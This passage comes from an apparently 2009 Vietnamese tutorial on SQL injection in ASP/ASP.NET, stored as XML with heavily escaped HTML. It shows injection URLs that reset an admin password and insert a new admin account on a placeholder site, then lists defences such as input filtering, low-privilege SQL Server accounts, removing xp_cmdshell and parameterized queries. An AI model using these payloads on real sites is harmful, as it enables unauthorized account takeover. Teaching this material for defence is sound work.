V&amp;amp;agrave; nghĩa l&amp;amp;agrave; b&amp;amp;acirc;y giờ ta cũng c&amp;amp;oacute; thể login v&amp;amp;agrave;o với username 'trinity' v&amp;amp;agrave; password l&amp;amp;agrave; '31173'&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
11. Thay đổi dữ liệu (Update/Insert) của CSDL&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;atilde; c&amp;amp;oacute; t&amp;amp;ecirc;n của tất cả c&amp;amp;aacute;c column trong table, c&amp;amp;oacute; thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record v&amp;amp;agrave;o table n&amp;amp;agrave;y.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Để thay đổi password của &amp;amp;quot;neo&amp;amp;quot;, c&amp;amp;oacute; thể l&amp;amp;agrave;m như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10;&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10;&amp;lt;/a&amp;gt; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Hoặc nếu bạn muốn một record mới v&amp;amp;agrave;o table:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10;&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10;&amp;lt;/a&amp;gt; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
V&amp;amp;agrave; b&amp;amp;acirc;y giờ c&amp;amp;oacute; thể login v&amp;amp;agrave;o với username &amp;amp;quot;neo2&amp;amp;quot; v&amp;amp;agrave; password l&amp;amp;agrave; &amp;amp;quot;newpas5&amp;amp;quot;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
12. Ngăn chặn SQL Injection&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
H&amp;amp;atilde;y loại bỏ c&amp;amp;aacute;c k&amp;amp;iacute; tự meta như '&amp;amp;quot;/\; v&amp;amp;agrave; c&amp;amp;aacute;c k&amp;amp;iacute; tự extend như NULL, CR, LF, ... trong c&amp;amp;aacute;c string nhận được từ:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
input do người d&amp;amp;ugrave;ng đệ tr&amp;amp;igrave;nh &amp;lt;br /&amp;gt;
c&amp;amp;aacute;c tham số từ URL &amp;lt;br /&amp;gt;
c&amp;amp;aacute;c gi&amp;amp;aacute; trị từ cookie&amp;lt;br /&amp;gt;
Đối với c&amp;amp;aacute;c gi&amp;amp;aacute; trị numeric, h&amp;amp;atilde;y chuyển n&amp;amp;oacute; sang integer trước khi query SQL, hoặc d&amp;amp;ugrave;ng ISNUMERIC để chắc chắn n&amp;amp;oacute; l&amp;amp;agrave; một số integer.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Thay đổi &amp;amp;quot;Startup and run SQL Server&amp;amp;quot; d&amp;amp;ugrave;ng mức low privilege user trong tab SQL Server Security.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
X&amp;amp;oacute;a c&amp;amp;aacute;c stored procedure trong database master m&amp;amp;agrave; kh&amp;amp;ocirc;ng d&amp;amp;ugrave;ng như:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
xp_cmdshell &amp;lt;br /&amp;gt;
xp_startmail &amp;lt;br /&amp;gt;
xp_sendmail &amp;lt;br /&amp;gt;
sp_makewebtask&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
13. Ngăn chặn SQL Injection trong ASP.NET&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
C&amp;amp;aacute;c c&amp;amp;aacute;ch thức ngăn chặn SQL Injection được tr&amp;amp;igrave;nh b&amp;amp;agrave;y ở phần 12 đ&amp;amp;atilde; bao qu&amp;amp;aacute;t đủ phương ph&amp;amp;aacute;p, nhưng trong ASP.NET c&amp;amp;oacute; c&amp;amp;aacute;ch ngăn chặn đơn giản l&amp;amp;agrave; sử dụng c&amp;amp;aacute;c Parameters khi l&amp;amp;agrave;m việc với object SqlCommand (hoặc OleDbCommand) chứ kh&amp;amp;ocirc;ng sử dụng c&amp;amp;aacute;c c&amp;amp;acirc;u lệnh SQL trực tiếp. Khi đ&amp;amp;oacute; .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện c&amp;amp;acirc;u lệnh SQL.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Ngo&amp;amp;agrave;i ra, cũng cần kiểm so&amp;amp;aacute;t tốt c&amp;amp;aacute;c th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi. V&amp;amp;agrave; mặc định trong ASP.NET l&amp;amp;agrave; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi sẽ kh&amp;amp;ocirc;ng được th&amp;amp;ocirc;ng b&amp;amp;aacute;o chi tiết khi kh&amp;amp;ocirc;ng chạy tr&amp;amp;ecirc;n localhost.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
13. T&amp;amp;agrave;i liệu thao khảo&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
How I hacked PacketStorm (Rain Forest Puppy)http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;amp;amp;iface=6 &amp;lt;br /&amp;gt;
Great article on gathering information from ODBC error messages&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc&amp;quot;&amp;gt;http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc&amp;lt;/a&amp;gt; &amp;lt;br /&amp;gt;
A good summary of SQL Injection on various SQL Server on &amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://www.owasp.org/asac/input_validation/sql.shtml&amp;quot;&amp;gt;http://www.owasp.org/asac/input_validation/sql.shtml&amp;lt;/a&amp;gt; &amp;lt;br /&amp;gt;
Senseport's article on reading SQL Injection &amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://www.sensepost.com/misc/SQLinsertion.htm&amp;quot;&amp;gt;http://www.sensepost.com/misc/SQLinsertion.htm&amp;lt;/a&amp;gt; &amp;lt;br /&amp;gt;
Kh&amp;amp;aacute;c:&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://www.digitaloffense.net/warga.../IOWargames.ppt&amp;quot;&amp;gt;http://www.digitaloffense.net/warga.../IOWargames.ppt&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;amp;amp;iface=6&amp;quot;&amp;gt;http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;amp;amp;iface=6&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;amp;amp;iface=6&amp;quot;&amp;gt;http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;amp;amp;iface=6&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;ST&amp;lt;/p&amp;gt;</Body><CommentEnabled>True</CommentEnabled><ViewCount>0</ViewCount><ReleaseDate>10/16/2009 8:05:31 PM</ReleaseDate><TotalComment>0</TotalComment><IsMedia>False</IsMedia><IsPicture>False</IsPicture><IsVote>True</IsVote><ArticlePassword /><PostVisible>0</PostVisible><ArticlePath>/2009/10/16/Tan-cong-kieu-SQL-Injection-va-cac-phong-chong-trong-ASPNET-214</ArticlePath><Approved>True</Approved><ImagePath /><CategoryId>23</CategoryId><ArrayCatID>23|0</ArrayCatID></Article></Articles>